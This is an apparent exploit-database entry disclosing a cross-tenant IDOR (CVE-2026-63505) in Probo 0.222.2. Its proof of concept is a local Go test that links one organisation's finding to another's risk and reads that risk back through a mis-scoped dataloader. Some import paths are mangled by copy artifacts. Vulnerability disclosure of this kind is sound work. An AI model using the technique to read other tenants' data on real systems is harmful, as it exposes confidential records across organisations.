Probo 0.222.2 Insecure Direct Object Reference

# Exploit Title: Probo 0.222.2 - IDOR 
    
    # Date: 2026-07-17
    
    # Exploit Author: Pig-Tail (Jorge González Milla)
    
    # Vendor Homepage: https://github.com/getprobo/probo 
    
    # Software Link: https://github.com/getprobo/probo 
    
    # Version: <= 0.222.2 (fixed 0.223.1)
    
    # Tested on: Linux
    
    # CVE: CVE-2026-63505
    
    # Category: webapps
    
    # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-63505-probo 
    
    
    
    Finding.riskId / ProcessingActivity.dataProtectionOfficerId are stored without a tenant-scoped load, and the read resolver authorizes the parent while the dataloader scopes by the child's own GID -> cross-tenant read. Advisory: GHSA-c74x-79w6-63jh. NOTE: PoC is a Go test using embedded-postgres.
    
    
    
    The PoC is a benign, local verification harness (sentinel-based; no network attack, no
    
    persistence, no destructive payload). Run against a local instance of the affected version.
    
    
    
    --- PoC (idor_test.go) ---
    
    package idorpoc
    
    
    
    import (
    
    "context"
    
    "fmt"
    
    "testing"
    
    "time"
    
    
    
    " http://github.com/stretchr/testify/require "
    
    " http://go.gearno.de/kit/pg "
    
    " http://go.probo.inc/probo/internal/test "
    
    " http://go.probo.inc/probo/pkg/coredata "
    
    " http://go.probo.inc/probo/pkg/gid "
    
    )
    
    
    
    // TestFindingRiskCrossTenantIDOR is a benign, runtime PoC for the cross-tenant
    
    // IDOR in the Finding->Risk relation (console v1):
    
    //   - Write gap: http://FindingService.Create/Update  (finding_service.go:147,248) store
    
    //     req.RiskID with no scoped validation; coredata Finding.Insert has no tenant
    
    //     FK on risk_id. => an org-A finding can reference an org-B risk.
    
    //   - Read gap: findingResolver.Risk (audit_resolvers.go:303) authorizes the
    
    //     *finding* (org A), then the dataloader (dataloader.go:223) scopes by the
    
    //     *risk's own GID* (NewScopeFromObjectID) => returns the org-B risk.
    
    // Benign marker: a sentinel risk name created in org B is read back through the
    
    // org-B-scoped load that the resolver uses.
    
    func mkOrg(t *testing.T, client *pg.Client) (gid.TenantID, gid.GID, *coredata.Scope) {
    
    t.Helper()
    
    tenantID := gid.NewTenantID()
    
    orgID := gid.New(tenantID, coredata.OrganizationEntityType)
    
    now := time.Now()
    
    err := client.WithTx(context.Background(), func(ctx context.Context, tx pg.Tx) error {
    
    _, err := tx.Exec(ctx,
    
    `INSERT INTO organizations (id, tenant_id, name, created_at, updated_at) VALUES ($1,$2,$3,$4,$5)`,
    
    orgID.String(), tenantID.String(), "org-"+orgID.String(), now, now)
    
    return err
    
    })
    
    require.NoError(t, err)
    
    return tenantID, orgID, coredata.NewScope(tenantID)
    
    }
    
    
    
    func TestFindingRiskCrossTenantIDOR(t *testing.T) {
    
    client := test.PGClient(t)
    
    ctx := context.Background()
    
    
    
    tenantA, orgA, scopeA := mkOrg(t, client)
    
    tenantB, orgB, scopeB := mkOrg(t, client)
    
    _ = tenantA
    
    
    
    const sentinel = "SECRET-ORG-B-RISK-do-not-disclose"
    
    riskB := &coredata.Risk{
    
    ID: gid.New(tenantB, coredata.RiskEntityType), OrganizationID: orgB,
    
    Name: sentinel, Category: "confidential", Treatment: coredata.RiskTreatmentMitigated,
    
    Note: "internal", InherentLikelihood: 3, InherentImpact: 3,
    
    ResidualLikelihood: 2, ResidualImpact: 2, CreatedAt: time.Now(), UpdatedAt: time.Now(),
    
    }
    
    require.NoError(t, client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error {
    
    return riskB.Insert(ctx, tx, scopeB)
    
    }), "seed org-B risk")
    
    
    
    // --- WRITE GAP: create a finding in org A referencing org B's risk ---
    
    findingA := &coredata.Finding{
    
    ID: gid.New(tenantA, coredata.FindingEntityType), OrganizationID: orgA,
    
    Kind: coredata.FindingKindObservation, Status: coredata.FindingStatusOpen,
    
    Priority: coredata.FindingPriorityMedium,
    
    RiskID:   &riskB.ID, // <-- cross-tenant risk id, attacker-supplied via CreateFindingInput.riskId
    
    CreatedAt: time.Now(), UpdatedAt: time.Now(),
    
    }
    
    writeErr := client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error {
    
    return findingA.Insert(ctx, tx, scopeA) // scope = org A, exactly as FindingService.Create does
    
    })
    
    require.NoError(t, writeErr, "WRITE GAP: org-A finding must NOT be allowed to reference org-B risk, but Insert succeeded")
    
    t.Logf("WRITE GAP confirmed: org-A finding %s stored risk_id=%s (org B)", findingA.ID, riskB.ID)
    
    
    
    // --- READ GAP: the dataloader scopes by the risk's OWN gid (org B) ---
    
    loaded := &coredata.Risk{}
    
    readErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error {
    
    // exactly what dataloader.fetchRisks does: scope := NewScopeFromObjectID(riskGID)
    
    return loaded.LoadByID(ctx, conn, coredata.NewScopeFromObjectID(riskB.ID), riskB.ID)
    
    })
    
    require.NoError(t, readErr, "READ GAP: risk should not be loadable by an org-A request")
    
    require.Equal(t, sentinel, loaded.Name)
    
    t.Logf("READ GAP confirmed: org-A request read org-B risk name=%q via NewScopeFromObjectID(risk.gid)", loaded.Name)
    
    
    
    // --- CONTRAST: proper org-A scoping would NOT find org-B's risk ---
    
    contrast := &coredata.Risk{}
    
    cErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error {
    
    return contrast.LoadByID(ctx, conn, scopeA, riskB.ID) // org-A tenant scope
    
    })
    
    require.Error(t, cErr, "CONTRAST: org-A-scoped load of org-B risk must fail (proves the scope-from-key choice IS the bug)")
    
    fmt.Printf("\n=== CROSS-TENANT IDOR CONFIRMED ===\norg-A finding referenced org-B risk (write gap) AND org-B risk %q was disclosed via risk-gid scope (read gap); org-A-scoped load correctly failed (%v)\n", sentinel, cErr)
    
    }